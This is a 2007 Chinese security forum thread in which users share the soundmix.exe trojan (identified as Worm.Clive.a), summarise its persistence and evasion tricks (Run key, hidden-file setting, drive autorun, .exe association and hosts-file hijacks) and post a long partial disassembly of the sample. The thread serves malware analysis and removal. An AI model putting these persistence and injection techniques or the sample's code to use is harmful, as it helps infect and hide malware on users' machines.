SOUNDMIX.EXE木马我终于找到了!激动(大家快进啊)[问题已经解决]

显示全部楼层 · 发表于 2007-1-13 20:54:29

SOUNDMIX.EXE木马我终于找到了!真是隐蔽啊~我去掉了隐藏系统保护的勾和显示所有文件才搜索到!郁闷此木马主要修改IE的一些默认属性,还有修改.EXE的关联,而且用任何软件都结束不了进程!能骗过卡巴~AVG,都杀不掉~实在厉害~现在上传到论坛~希望高手给出解决放法!!!!!!!!!! 我把他属性修改为TXT文档,打开后里面的一些乱吗还有一些英文大家请看!
MZ

显示全部楼层 · 发表于 2007-1-13 21:07:49

通过那个文件的内容初步判断他会在注册表添加run的启动键值soundmix，修改checkvalue使得隐藏文件无法查看，修改exe文件关联，在各个分区添加自动播放，指向于回收站文件夹里面的病毒文件，并且修改host使得某几个域名指向61.129.115.198

[ 本帖最后由 dikex 于 2007-1-13 21:13 编辑 ]

显示全部楼层 · 发表于 2007-1-13 21:31:43

原帖由 dikex 于 2007-1-13 21:07 发表
通过那个文件的内容初步判断他会在注册表添加run的启动键值soundmix，修改checkvalue使得隐藏文件无法查看，修改exe文件关联，在各个分区添加自动播放，指向于回收站文件夹里面的病毒文件，并且修改host使得某几 ...

厉害~我只能看出指向几个网站,通过软件知道其修改自起,请问楼上的高手可否帮忙解决次木马!??!

显示全部楼层 · 发表于 2007-1-13 21:57:01

Worm.Clive.a

新蠕虫，多谢楼主，太感谢了，

显示全部楼层 · 发表于 2007-1-13 22:03:16

原帖由 moonsilver 于 2007-1-13 21:57 发表
Worm.Clive.a

新蠕虫，多谢楼主，太感谢了，

呵呵~就让一个人的牺牲拯救全人类把?哈哈~

显示全部楼层 · 发表于 2007-1-13 22:10:33

我会在近期写出行为分析和杀毒方案，太激动，我最喜欢新东西

显示全部楼层 · 发表于 2007-1-13 22:15:33

Disassembly of File: soundmix.exe
Code Offset = 00000400, Code Size = 00002C00
Data Offset = 00003000, Data Size = 00000600

Number of Objects = 0004 (dec), Imagebase = 00400000h

Object01: .text RVA: 00001000 Offset: 00000400 Size: 00002C00 Flags: 60000060
Object02: .data RVA: 00004000 Offset: 00003000 Size: 00000600 Flags: C0000040
Object03: .bss    RVA: 00005000 Offset: 00000000 Size: 00000000 Flags: C0000080
Object04: .idata RVA: 00006000 Offset: 00003600 Size: 00000C00 Flags: C0000040

+++++++++++++++++++ MENU INFORMATION ++++++++++++++++++

      There Are No Menu Resources in This Application

+++++++++++++++++ DIALOG INFORMATION ++++++++++++++++++

      There Are No Dialog Resources in This Application

+++++++++++++++++++ IMPORTED FUNCTIONS ++++++++++++++++++
Number of Imported Modules = 6 (decimal)

Import Module 001: PSAPI.DLL
Import Module 002: ADVAPI32.DLL
Import Module 003: KERNEL32.dll
Import Module 004: msvcrt.dll
Import Module 005: SHELL32.DLL
Import Module 006: USER32.dll

+++++++++++++++++++ IMPORT MODULE DETAILS +++++++++++++++

Import Module 001: PSAPI.DLL

Addr:000063BC hint(0002) Name: EnumProcessModules
Addr:000063D4 hint(0003) Name: EnumProcesses
Addr:000063E4 hint(000A) Name: GetModuleBaseNameA

Import Module 002: ADVAPI32.DLL

Addr:000063FC hint(0019) Name: AdjustTokenPrivileges
Addr:00006414 hint(0116) Name: LookupPrivilegeValueA
Addr:0000642C hint(0165) Name: OpenProcessToken
Addr:00006440 hint(0182) Name: RegCloseKey
Addr:00006450 hint(018B) Name: RegDeleteValueA
Addr:00006464 hint(019B) Name: RegOpenKeyExA
Addr:00006474 hint(01B0) Name: RegSetValueExA

Import Module 003: KERNEL32.dll

Addr:00006488 hint(0001) Name: AddAtomA
Addr:00006494 hint(0026) Name: CloseHandle
Addr:000064A4 hint(0035) Name: CopyFileA
Addr:000064B0 hint(003C) Name: CreateDirectoryA
Addr:000064C4 hint(0044) Name: CreateFileA
Addr:000064D4 hint(004F) Name: CreateMutexA
Addr:000064E4 hint(0054) Name: CreateProcessA
Addr:000064F8 hint(0056) Name: CreateRemoteThread
Addr:00006510 hint(005A) Name: CreateThread
Addr:00006520 hint(006C) Name: DeleteFileA
Addr:00006530 hint(009B) Name: ExitProcess
Addr:00006540 hint(00AF) Name: FindAtomA
Addr:0000654C hint(00B1) Name: FindClose
Addr:00006558 hint(00B5) Name: FindFirstFileA
Addr:0000656C hint(00DC) Name: GetAtomNameA
Addr:0000657C hint(00EC) Name: GetCommandLineA
Addr:00006590 hint(0119) Name: GetCurrentProcess
Addr:000065A4 hint(011A) Name: GetCurrentProcessId
Addr:000065BC hint(0128) Name: GetDriveTypeA
Addr:000065CC hint(0131) Name: GetExitCodeThread
Addr:000065E0 hint(0132) Name: GetFileAttributesA
Addr:000065F8 hint(0137) Name: GetFileSize
Addr:00006608 hint(0143) Name: GetLastError
Addr:00006618 hint(0147) Name: GetLogicalDriveStringsA
Addr:00006634 hint(014D) Name: GetModuleFileNameA
Addr:0000664C hint(014F) Name: GetModuleHandleA
Addr:00006660 hint(016A) Name: GetProcAddress
Addr:00006674 hint(016D) Name: GetProcessHeap
Addr:00006688 hint(0180) Name: GetStartupInfoA
Addr:0000669C hint(018A) Name: GetSystemDirectoryA
Addr:000066B4 hint(01D7) Name: HeapAlloc
Addr:000066C0 hint(01DD) Name: HeapFree
Addr:000066CC hint(01E1) Name: HeapReAlloc
Addr:000066DC hint(021C) Name: LockFileEx
Addr:000066EC hint(0227) Name: MoveFileA
Addr:000066F8 hint(0239) Name: OpenProcess
Addr:00006708 hint(0265) Name: ReadFile
Addr:00006714 hint(02B9) Name: SetFileAttributesA
Addr:0000672C hint(02BB) Name: SetFilePointer
Addr:00006740 hint(02BF) Name: SetFileTime
Addr:00006750 hint(02DF) Name: SetUnhandledExceptionFilter
Addr:00006770 hint(02EB) Name: Sleep
Addr:00006778 hint(02F0) Name: SystemTimeToFileTime
Addr:00006790 hint(0313) Name: VirtualAllocEx
Addr:000067A4 hint(0336) Name: WriteFile
Addr:000067B0 hint(0340) Name: WriteProcessMemory

Import Module 004: msvcrt.dll

Addr:000067C8 hint(0027) Name: __getmainargs
Addr:000067D8 hint(003C) Name: __p__environ
Addr:000067E8 hint(003E) Name: __p__fmode
Addr:000067F8 hint(0050) Name: __set_app_type
Addr:0000680C hint(0079) Name: _cexit
Addr:00006818 hint(00E9) Name: _iob
Addr:00006820 hint(015E) Name: _onexit
Addr:0000682C hint(0184) Name: _setmode
Addr:00006838 hint(019B) Name: _stricmp
Addr:00006844 hint(0215) Name: abort
Addr:0000684C hint(021C) Name: atexit
Addr:00006858 hint(023F) Name: free
Addr:00006860 hint(0272) Name: malloc
Addr:0000686C hint(027A) Name: memset
Addr:00006878 hint(0282) Name: puts
Addr:00006880 hint(0290) Name: signal
Addr:0000688C hint(0297) Name: strcat
Addr:00006898 hint(0298) Name: strchr
Addr:000068A4 hint(0299) Name: strcmp
Addr:000068B0 hint(029B) Name: strcpy
Addr:000068BC hint(029F) Name: strlen
Addr:000068C8 hint(02A1) Name: strncmp

显示全部楼层 · 发表于 2007-1-13 22:15:54

Import Module 005: SHELL32.DLL

Addr:000068D4 hint(008D) Name: ShellExecuteA

Import Module 006: USER32.dll

Addr:000068E4 hint(0059) Name: CreateWindowExA
Addr:000068F8 hint(0085) Name: DefWindowProcA
Addr:0000690C hint(0094) Name: DispatchMessageA
Addr:00006920 hint(0124) Name: GetMessageA
Addr:00006930 hint(018C) Name: KillTimer
Addr:0000693C hint(0191) Name: LoadCursorA
Addr:0000694C hint(0195) Name: LoadIconA
Addr:00006958 hint(01CD) Name: PostQuitMessage
Addr:0000696C hint(01D7) Name: RegisterClassExA
Addr:00006980 hint(0228) Name: SetTimer
Addr:0000698C hint(0255) Name: TranslateMessage

+++++++++++++++++++ EXPORTED FUNCTIONS ++++++++++++++++++
Number of Exported Functions = 0000 (decimal)

+++++++++++++++++++ ASSEMBLY CODE LISTING ++++++++++++++++++
//********************** Start of Code in Object .text **************
Program Entry Point = 00401000 (soundmix.exe File Offset:00004000)

//******************** Program Entry Point ********
:00401000 55                   push ebp
:00401001 89E5                   mov ebp, esp
:00401003 83EC08                sub esp, 00000008
:00401006 C7042401000000       mov dword ptr [esp], 00000001

* Reference To: msvcrt.__set_app_type, Ord:0050h
                              |
:0040100D FF152C634000          Call dword ptr [0040632C]
:00401013 E868000000             call 00401080
:00401018 89EC                   mov esp, ebp
:0040101A 31C0                   xor eax, eax
:0040101C 5D                   pop ebp
:0040101D C3                   ret

:0040101E 89F6                   mov esi, esi
:00401020 55                   push ebp
:00401021 89E5                   mov ebp, esp
:00401023 83EC08                sub esp, 00000008
:00401026 C7042402000000       mov dword ptr [esp], 00000002

* Reference To: msvcrt.__set_app_type, Ord:0050h
                              |
:0040102D FF152C634000          Call dword ptr [0040632C]
:00401033 E848000000             call 00401080
:00401038 89EC                   mov esp, ebp
:0040103A 31C0                   xor eax, eax
:0040103C 5D                   pop ebp
:0040103D C3                   ret

:0040103E 89F6                   mov esi, esi

* Referenced by a CALL at Addresses:
|:00403180 , :004031F5
|
:00401040 55                   push ebp
:00401041 89E5                   mov ebp, esp
:00401043 83EC08                sub esp, 00000008
:00401046 8B5508                mov edx, dword ptr [ebp+08]
:00401049 891424                mov dword ptr [esp], edx

* Reference To: msvcrt.atexit, Ord:021Ch
                              |
:0040104C FF1548634000          Call dword ptr [00406348]
:00401052 89EC                   mov esp, ebp
:00401054 5D                   pop ebp
:00401055 C3                   ret

:00401056 8D7600                lea esi, dword ptr [esi+00]
:00401059 8DBC2700000000       lea edi, dword ptr [edi]
:00401060 55                   push ebp
:00401061 89E5                   mov ebp, esp
:00401063 83EC08                sub esp, 00000008
:00401066 8B5508                mov edx, dword ptr [ebp+08]
:00401069 891424                mov dword ptr [esp], edx

* Reference To: msvcrt._onexit, Ord:015Eh
                              |
:0040106C FF1538634000          Call dword ptr [00406338]
:00401072 89EC                   mov esp, ebp
:00401074 5D                   pop ebp
:00401075 C3                   ret

:00401076 8D7600                lea esi, dword ptr [esi+00]
:00401079 8DBC2700000000       lea edi, dword ptr [edi]

* Referenced by a CALL at Addresses:
|:00401013 , :00401033
|
:00401080 55                   push ebp
:00401081 89E5                   mov ebp, esp
:00401083 53                   push ebx
:00401084 83EC24                sub esp, 00000024

* Possible StringData Ref from Code Obj ->"U夊冹塢鴭M1蹓u?鰦?=?
                              |
:00401087 C7042480114000       mov dword ptr [esp], 00401180

* Reference To: KERNEL32.SetUnhandledExceptionFilter, Ord:02DFh
                              |
:0040108E E8CD260000             Call 00403760
:00401093 83EC04                sub esp, 00000004
:00401096 E885200000             call 00403120
:0040109B C7042400404000       mov dword ptr [esp], 00404000
:004010A2 8B15B0444000          mov edx, dword ptr [004044B0]
:004010A8 8D4DF8                lea ecx, dword ptr [ebp-08]
:004010AB C745F800000000       mov [ebp-08], 00000000
:004010B2 894C2410             mov dword ptr [esp+10], ecx
:004010B6 8954240C             mov dword ptr [esp+0C], edx
:004010BA 8D55F4                lea edx, dword ptr [ebp-0C]
:004010BD 89542408             mov dword ptr [esp+08], edx
:004010C1 C744240404404000       mov [esp+04], 00404004

* Reference To: msvcrt.__getmainargs, Ord:0027h
                              |
:004010C9 E812250000             Call 004035E0
:004010CE A1C0444000             mov eax, dword ptr [004044C0]
:004010D3 85C0                   test eax, eax
:004010D5 745E                   je 00401135
:004010D7 A3D0444000             mov dword ptr [004044D0], eax

* Reference To: msvcrt._iob, Ord:00E9h
                              |
:004010DC 8B1534634000          mov edx, dword ptr [00406334]
:004010E2 85D2                   test edx, edx
:004010E4 7415                   je 004010FB
:004010E6 89442404             mov dword ptr [esp+04], eax
:004010EA 8B5A10                mov ebx, dword ptr [edx+10]
:004010ED 891C24                mov dword ptr [esp], ebx

* Reference To: msvcrt._setmode, Ord:0184h
                              |
:004010F0 E8DB240000             Call 004035D0

* Reference To: msvcrt._iob, Ord:00E9h
                              |
:004010F5 8B1534634000          mov edx, dword ptr [00406334]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004010E4(C)
|
:004010FB 83FAE0                cmp edx, FFFFFFE0
:004010FE 741B                   je 0040111B
:00401100 8B1DC0444000          mov ebx, dword ptr [004044C0]
:00401106 895C2404             mov dword ptr [esp+04], ebx
:0040110A 8B4A30                mov ecx, dword ptr [edx+30]
:0040110D 890C24                mov dword ptr [esp], ecx

* Reference To: msvcrt._setmode, Ord:0184h
                              |
:00401110 E8BB240000             Call 004035D0

* Reference To: msvcrt._iob, Ord:00E9h
                              |
:00401115 8B1534634000          mov edx, dword ptr [00406334]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004010FE(C)
|
:0040111B 83FAC0                cmp edx, FFFFFFC0
:0040111E 7415                   je 00401135
:00401120 8B1DC0444000          mov ebx, dword ptr [004044C0]
:00401126 895C2404             mov dword ptr [esp+04], ebx
:0040112A 8B4A50                mov ecx, dword ptr [edx+50]
:0040112D 890C24                mov dword ptr [esp], ecx

* Reference To: msvcrt._setmode, Ord:0184h
                              |
:00401130 E89B240000             Call 004035D0

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004010D5(C), :0040111E(C)
|

* Reference To: msvcrt.__p__fmode, Ord:003Eh
                              |
:00401135 E886240000             Call 004035C0
:0040113A 8B0DD0444000          mov ecx, dword ptr [004044D0]
:00401140 8908                   mov dword ptr [eax], ecx
:00401142 E8A91F0000             call 004030F0

* Reference To: msvcrt.__p__environ, Ord:003Ch
                              |
:00401147 E854240000             Call 004035A0
:0040114C 8B1500404000          mov edx, dword ptr [00404000]
:00401152 8B18                   mov ebx, dword ptr [eax]
:00401154 8B0D04404000          mov ecx, dword ptr [00404004]
:0040115A 891424                mov dword ptr [esp], edx
:0040115D 895C2408             mov dword ptr [esp+08], ebx
:00401161 894C2404             mov dword ptr [esp+04], ecx
:00401165 E8961E0000             call 00403000
:0040116A 89C3                   mov ebx, eax

* Reference To: msvcrt._cexit, Ord:0079h
                              |
:0040116C E81F240000             Call 00403590
:00401171 891C24                mov dword ptr [esp], ebx

* Reference To: KERNEL32.ExitProcess, Ord:009Bh
                              |
:00401174 E8F7250000             Call 00403770
:00401179 8DB42600000000       lea esi, dword ptr [esi]
:00401180 55                   push ebp
:00401181 89E5                   mov ebp, esp
:00401183 83EC18                sub esp, 00000018
:00401186 895DF8                mov dword ptr [ebp-08], ebx
:00401189 8B4D08                mov ecx, dword ptr [ebp+08]
:0040118C 31DB                   xor ebx, ebx
:0040118E 8975FC                mov dword ptr [ebp-04], esi
:00401191 31F6                   xor esi, esi
:00401193 8B11                   mov edx, dword ptr [ecx]
:00401195 8B02                   mov eax, dword ptr [edx]
:00401197 3D910000C0             cmp eax, C0000091
:0040119C 0F87BE000000          ja 00401260
:004011A2 3D8D0000C0             cmp eax, C000008D
:004011A7 7367                   jnb 00401210
:004011A9 3D050000C0             cmp eax, C0000005
:004011AE 740E                   je 004011BE

显示全部楼层 · 发表于 2007-1-13 22:16:13

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004011D9(C), :004011F7(U), :00401230(C), :0040126E(U)
|
:004011B0 89D8                   mov eax, ebx
:004011B2 8B75FC                mov esi, dword ptr [ebp-04]
:004011B5 8B5DF8                mov ebx, dword ptr [ebp-08]
:004011B8 89EC                   mov esp, ebp
:004011BA 5D                   pop ebp
:004011BB C20400                ret 0004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004011AE(C)
|
:004011BE C744240400000000       mov [esp+04], 00000000
:004011C6 C704240B000000       mov dword ptr [esp], 0000000B

* Reference To: msvcrt.signal, Ord:0290h
                              |
:004011CD E8DE230000             Call 004035B0
:004011D2 83F801                cmp eax, 00000001
:004011D5 7422                   je 004011F9
:004011D7 85C0                   test eax, eax
:004011D9 74D5                   je 004011B0
:004011DB C704240B000000       mov dword ptr [esp], 0000000B
:004011E2 8DB42600000000       lea esi, dword ptr [esi]
:004011E9 8DBC2700000000       lea edi, dword ptr [edi]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040123D(U)
|
:004011F0 FFD0                   call eax

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040120D(U), :00401255(C), :0040125C(U)
|
:004011F2 BBFFFFFFFF             mov ebx, FFFFFFFF
:004011F7 EBB7                   jmp 004011B0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004011D5(C)
|
:004011F9 C744240401000000       mov [esp+04], 00000001
:00401201 C704240B000000       mov dword ptr [esp], 0000000B

* Reference To: msvcrt.signal, Ord:0290h
                              |
:00401208 E8A3230000             Call 004035B0
:0040120D EBE3                   jmp 004011F2
:0040120F 90                   nop

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004011A7(C), :00401265(C)
|
:00401210 BE01000000             mov esi, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040126C(C)
|
:00401215 C744240400000000       mov [esp+04], 00000000
:0040121D C7042408000000       mov dword ptr [esp], 00000008

* Reference To: msvcrt.signal, Ord:0290h
                              |
:00401224 E887230000             Call 004035B0
:00401229 83F801                cmp eax, 00000001
:0040122C 7411                   je 0040123F
:0040122E 85C0                   test eax, eax
:00401230 0F847AFFFFFF          je 004011B0
:00401236 C7042408000000       mov dword ptr [esp], 00000008
:0040123D EBB1                   jmp 004011F0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040122C(C)
|
:0040123F C744240401000000       mov [esp+04], 00000001
:00401247 C7042408000000       mov dword ptr [esp], 00000008

* Reference To: msvcrt.signal, Ord:0290h
                              |
:0040124E E85D230000             Call 004035B0
:00401253 85F6                   test esi, esi
:00401255 749B                   je 004011F2
:00401257 E8C41E0000             call 00403120
:0040125C EB94                   jmp 004011F2
:0040125E 89F6                   mov esi, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040119C(C)
|
:00401260 3D930000C0             cmp eax, C0000093
:00401265 74A9                   je 00401210
:00401267 3D940000C0             cmp eax, C0000094
:0040126C 74A7                   je 00401215
:0040126E E93DFFFFFF             jmp 004011B0
:00401273 90                   nop
:00401274 90                   nop
:00401275 90                   nop
:00401276 90                   nop
:00401277 90                   nop
:00401278 90                   nop
:00401279 90                   nop
:0040127A 90                   nop
:0040127B 90                   nop
:0040127C 90                   nop
:0040127D 90                   nop
:0040127E 90                   nop
:0040127F 90                   nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403AC4(U)
|
:00401280 55                   push ebp
:00401281 89E5                   mov ebp, esp
:00401283 5D                   pop ebp
:00401284 E967200000             jmp 004032F0
:00401289 90                   nop
:0040128A 90                   nop
:0040128B 90                   nop
:0040128C 90                   nop
:0040128D 90                   nop
:0040128E 90                   nop
:0040128F 90                   nop
:00401290 57                   push edi
:00401291 696E33322E4478       imul ebp, dword ptr [esi+33], 78442E32
:00401298 636C6976             arpl dword ptr [ecx+2*ebp+76], ebp
:0040129C 65006A5F             add byte ptr gs:[edx+5F], ch
:004012A0 3333                   xor esi, dword ptr [ebx]
:004012A2 5F                   pop edi
:004012A3 643233                xor dh, byte ptr fs:[ebx]
:004012A6 64                   BYTE 064h

:004012A7 5F                   pop edi
:004012A8 64                   BYTE 064h

:004012A9 7333                   jnb 004012DE
:004012AB 00                   BYTE 00h
:004012AC 8D                   BYTE 8dh
:004012AD 74                   BYTE 74h
:004012AE 26                   BYTE 26h
:004012AF 00                   BYTE 00h

* Referenced by a CALL at Address:
|:00403096
|
:004012B0 55                   push ebp
:004012B1 31D2                   xor edx, edx
:004012B3 89E5                   mov ebp, esp
:004012B5 53                   push ebx

* Possible StringData Ref from Code Obj ->"U夊冹塢鼖E媇婾凐婱tv="
                              |
:004012B6 B9102E4000             mov ecx, 00402E10
:004012BB 81ECE4000000          sub esp, 000000E4
:004012C1 891530504000          mov dword ptr [00405030], edx
:004012C7 8B5D08                mov ebx, dword ptr [ebp+08]

显示全部楼层 · 发表于 2007-1-13 22:16:52

* Possible StringData Ref from Data Obj ->"WindowsApp"
                              |
:004012CA B810404000             mov eax, 00404010
:004012CF 898D50FFFFFF          mov dword ptr [ebp+FFFFFF50], ecx
:004012D5 BA08000000             mov edx, 00000008
:004012DA B930000000             mov ecx, 00000030
:004012DF 89954CFFFFFF          mov dword ptr [ebp+FFFFFF4C], edx
:004012E5 898D48FFFFFF          mov dword ptr [ebp+FFFFFF48], ecx
:004012EB 899D5CFFFFFF          mov dword ptr [ebp+FFFFFF5C], ebx
:004012F1 898570FFFFFF          mov dword ptr [ebp+FFFFFF70], eax
:004012F7 C7442404007F0000       mov [esp+04], 00007F00
:004012FF C7042400000000       mov dword ptr [esp], 00000000

* Reference To: USER32.LoadIconA, Ord:0195h
                              |
:00401306 E8A5230000             Call 004036B0
:0040130B 898560FFFFFF          mov dword ptr [ebp+FFFFFF60], eax
:00401311 83EC08                sub esp, 00000008
:00401314 C7442404007F0000       mov [esp+04], 00007F00
:0040131C C7042400000000       mov dword ptr [esp], 00000000

* Reference To: USER32.LoadIconA, Ord:0195h
                              |
:00401323 E888230000             Call 004036B0
:00401328 898574FFFFFF          mov dword ptr [ebp+FFFFFF74], eax
:0040132E 83EC08                sub esp, 00000008
:00401331 C7442404007F0000       mov [esp+04], 00007F00
:00401339 C7042400000000       mov dword ptr [esp], 00000000

* Reference To: USER32.LoadCursorA, Ord:0191h
                              |
:00401340 E87B230000             Call 004036C0
:00401345 898564FFFFFF          mov dword ptr [ebp+FFFFFF64], eax
:0040134B 31D2                   xor edx, edx
:0040134D 83EC08                sub esp, 00000008
:00401350 89956CFFFFFF          mov dword ptr [ebp+FFFFFF6C], edx
:00401356 31C9                   xor ecx, ecx
:00401358 B801000000             mov eax, 00000001
:0040135D 898D54FFFFFF          mov dword ptr [ebp+FFFFFF54], ecx
:00401363 31D2                   xor edx, edx
:00401365 899558FFFFFF          mov dword ptr [ebp+FFFFFF58], edx
:0040136B 8D9548FFFFFF          lea edx, dword ptr [ebp+FFFFFF48]
:00401371 891424                mov dword ptr [esp], edx
:00401374 898568FFFFFF          mov dword ptr [ebp+FFFFFF68], eax

* Reference To: USER32.RegisterClassExA, Ord:01D7h
                              |
:0040137A E851230000             Call 004036D0
:0040137F 83EC04                sub esp, 00000004
:00401382 31D2                   xor edx, edx
:00401384 6685C0                test ax, ax
:00401387 7509                   jne 00401392

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00401435(C), :004014DF(U), :004014F2(C), :00401637(U), :00401658(U)
|
:00401389 8B5DFC                mov ebx, dword ptr [ebp-04]
:0040138C 89D0                   mov eax, edx
:0040138E C9                   leave
:0040138F C21000                ret 0010

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401387(C)
|
:00401392 895C2428             mov dword ptr [esp+28], ebx
:00401396 C744242C00000000       mov [esp+2C], 00000000
:0040139E C744242400000000       mov [esp+24], 00000000
:004013A6 C7442420FDFFFFFF       mov [esp+20], FFFFFFFD
:004013AE C744241C77010000       mov [esp+1C], 00000177
:004013B6 C744241820020000       mov [esp+18], 00000220
:004013BE C744241400000080       mov [esp+14], 80000000
:004013C6 C744241000000080       mov [esp+10], 80000000
:004013CE C744240C0000CF00       mov [esp+0C], 00CF0000
:004013D6 C744240890124000       mov [esp+08], 00401290

* Possible StringData Ref from Data Obj ->"WindowsApp"
                              |
:004013DE C744240410404000       mov [esp+04], 00404010
:004013E6 C7042400000000       mov dword ptr [esp], 00000000

* Reference To: USER32.CreateWindowExA, Ord:0059h
                              |
:004013ED E8EE220000             Call 004036E0
:004013F2 A320504000             mov dword ptr [00405020], eax
:004013F7 83EC30                sub esp, 00000030
:004013FA E881020000             call 00401680
:004013FF 8B5D10                mov ebx, dword ptr [ebp+10]
:00401402 891C24                mov dword ptr [esp], ebx
:00401405 E896030000             call 004017A0

* Possible StringData Ref from Code Obj ->"j_33_d23d_ds3"
                              |
:0040140A C74424089E124000       mov [esp+08], 0040129E
:00401412 C744240401000000       mov [esp+04], 00000001
:0040141A C7042400000000       mov dword ptr [esp], 00000000

* Reference To: KERNEL32.CreateMutexA, Ord:004Fh
                              |
:00401421 E85A230000             Call 00403780
:00401426 83EC0C                sub esp, 0000000C

* Reference To: KERNEL32.GetLastError, Ord:0143h
                              |
:00401429 E862230000             Call 00403790
:0040142E 31D2                   xor edx, edx
:00401430 3DB7000000             cmp eax, 000000B7
:00401435 0F844EFFFFFF          je 00401389
:0040143B C744240450514000       mov [esp+04], 00405150
:00401443 C7042460524000       mov dword ptr [esp], 00405260

* Reference To: msvcrt.strcmp, Ord:0299h
                              |
:0040144A E811220000             Call 00403660
:0040144F 85C0                   test eax, eax
:00401451 0F848D000000          je 004014E4
:00401457 C744240801000000       mov [esp+08], 00000001
:0040145F 8D5DA8                lea ebx, dword ptr [ebp-58]
:00401462 C744240480544000       mov [esp+04], 00405480
:0040146A C7042470534000       mov dword ptr [esp], 00405370

* Reference To: KERNEL32.CopyFileA, Ord:0035h
                              |
:00401471 E82A230000             Call 004037A0
:00401476 83EC0C                sub esp, 0000000C
:00401479 891C24                mov dword ptr [esp], ebx

* Reference To: KERNEL32.GetStartupInfoA, Ord:0180h
                              |
:0040147C E82F230000             Call 004037B0
:00401481 C745A844000000       mov [ebp-58], 00000044
:00401488 83EC04                sub esp, 00000004
:0040148B 8D4D98                lea ecx, dword ptr [ebp-68]
:0040148E 894C2424             mov dword ptr [esp+24], ecx
:00401492 895C2420             mov dword ptr [esp+20], ebx
:00401496 C744241C50514000       mov [esp+1C], 00405150
:0040149E C744241800000000       mov [esp+18], 00000000
:004014A6 C744241400000000       mov [esp+14], 00000000
:004014AE C744241000000000       mov [esp+10], 00000000
:004014B6 C744240C00000000       mov [esp+0C], 00000000
:004014BE C744240800000000       mov [esp+08], 00000000
:004014C6 C744240400000000       mov [esp+04], 00000000
:004014CE C7042480544000       mov dword ptr [esp], 00405480

* Reference To: KERNEL32.CreateProcessA, Ord:0054h
                              |
:004014D5 E8E6220000             Call 004037C0
:004014DA 83EC28                sub esp, 00000028
:004014DD 31D2                   xor edx, edx
:004014DF E9A5FEFFFF             jmp 00401389

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401451(C)
|
:004014E4 E877150000             call 00402A60
:004014E9 85C0                   test eax, eax
:004014EB 89C3                   mov ebx, eax
:004014ED BAFFFFFFFF             mov edx, FFFFFFFF
:004014F2 0F8491FEFFFF          je 00401389
:004014F8 C744241400000000       mov [esp+14], 00000000
:00401500 C744241000000000       mov [esp+10], 00000000
:00401508 8944240C             mov dword ptr [esp+0C], eax

* Possible StringData Ref from Code Obj ->"U夊S冹媇嵍"
                              |
:0040150C C7442408502F4000       mov [esp+08], 00402F50
:00401514 C744240400000000       mov [esp+04], 00000000
:0040151C C7042400000000       mov dword ptr [esp], 00000000

* Reference To: KERNEL32.CreateThread, Ord:005Ah
                              |
:00401523 E8A8220000             Call 004037D0
:00401528 83EC18                sub esp, 00000018
:0040152B 85C0                   test eax, eax
:0040152D 0F8415010000          je 00401648
:00401533 C744240C00000000       mov [esp+0C], 00000000
:0040153B 8B1520504000          mov edx, dword ptr [00405020]
:00401541 C744240810270000       mov [esp+08], 00002710
:00401549 C744240464040000       mov [esp+04], 00000464
:00401551 891424                mov dword ptr [esp], edx

* Reference To: USER32.SetTimer, Ord:0228h
                              |
:00401554 E897210000             Call 004036F0
:00401559 8B0D20504000          mov ecx, dword ptr [00405020]
:0040155F 83EC10                sub esp, 00000010
:00401562 C744240C00000000       mov [esp+0C], 00000000
:0040156A C7442408E8030000       mov [esp+08], 000003E8
:00401572 890C24                mov dword ptr [esp], ecx
:00401575 C744240465040000       mov [esp+04], 00000465

* Reference To: USER32.SetTimer, Ord:0228h
                              |
:0040157D E86E210000             Call 004036F0
:00401582 8B1D20504000          mov ebx, dword ptr [00405020]
:00401588 83EC10                sub esp, 00000010
:0040158B C744240C00000000       mov [esp+0C], 00000000
:00401593 C744240860EA0000       mov [esp+08], 0000EA60
:0040159B 891C24                mov dword ptr [esp], ebx
:0040159E 8D9D78FFFFFF          lea ebx, dword ptr [ebp+FFFFFF78]
:004015A4 C744240466040000       mov [esp+04], 00000466

* Reference To: USER32.SetTimer, Ord:0228h
                              |
:004015AC E83F210000             Call 004036F0
:004015B1 8B1520504000          mov edx, dword ptr [00405020]
:004015B7 83EC10                sub esp, 00000010
:004015BA C744240C00000000       mov [esp+0C], 00000000
:004015C2 C7442408401F0000       mov [esp+08], 00001F40
:004015CA C744240467040000       mov [esp+04], 00000467
:004015D2 891424                mov dword ptr [esp], edx

* Reference To: USER32.SetTimer, Ord:0228h
                              |
:004015D5 E816210000             Call 004036F0
:004015DA 83EC10                sub esp, 00000010
:004015DD 8D7600                lea esi, dword ptr [esi+00]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401626(U)
|
:004015E0 C744240C00000000       mov [esp+0C], 00000000
:004015E8 C744240800000000       mov [esp+08], 00000000
:004015F0 C744240400000000       mov [esp+04], 00000000
:004015F8 891C24                mov dword ptr [esp], ebx

* Reference To: USER32.GetMessageA, Ord:0124h
                              |
:004015FB E800210000             Call 00403700
:00401600 83EC10                sub esp, 00000010
:00401603 85C0                   test eax, eax
:00401605 7435                   je 0040163C
:00401607 A130504000             mov eax, dword ptr [00405030]
:0040160C 85C0                   test eax, eax
:0040160E 7518                   jne 00401628
:00401610 891C24                mov dword ptr [esp], ebx

* Reference To: USER32.TranslateMessage, Ord:0255h
                              |
:00401613 E8F8200000             Call 00403710
:00401618 83EC04                sub esp, 00000004
:0040161B 891C24                mov dword ptr [esp], ebx

* Reference To: USER32.DispatchMessageA, Ord:0094h
                              |
:0040161E E8FD200000             Call 00403720
:00401623 83EC04                sub esp, 00000004
:00401626 EBB8                   jmp 004015E0

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040160E(C), :00401646(U)
|
:00401628 C7042401000000       mov dword ptr [esp], 00000001
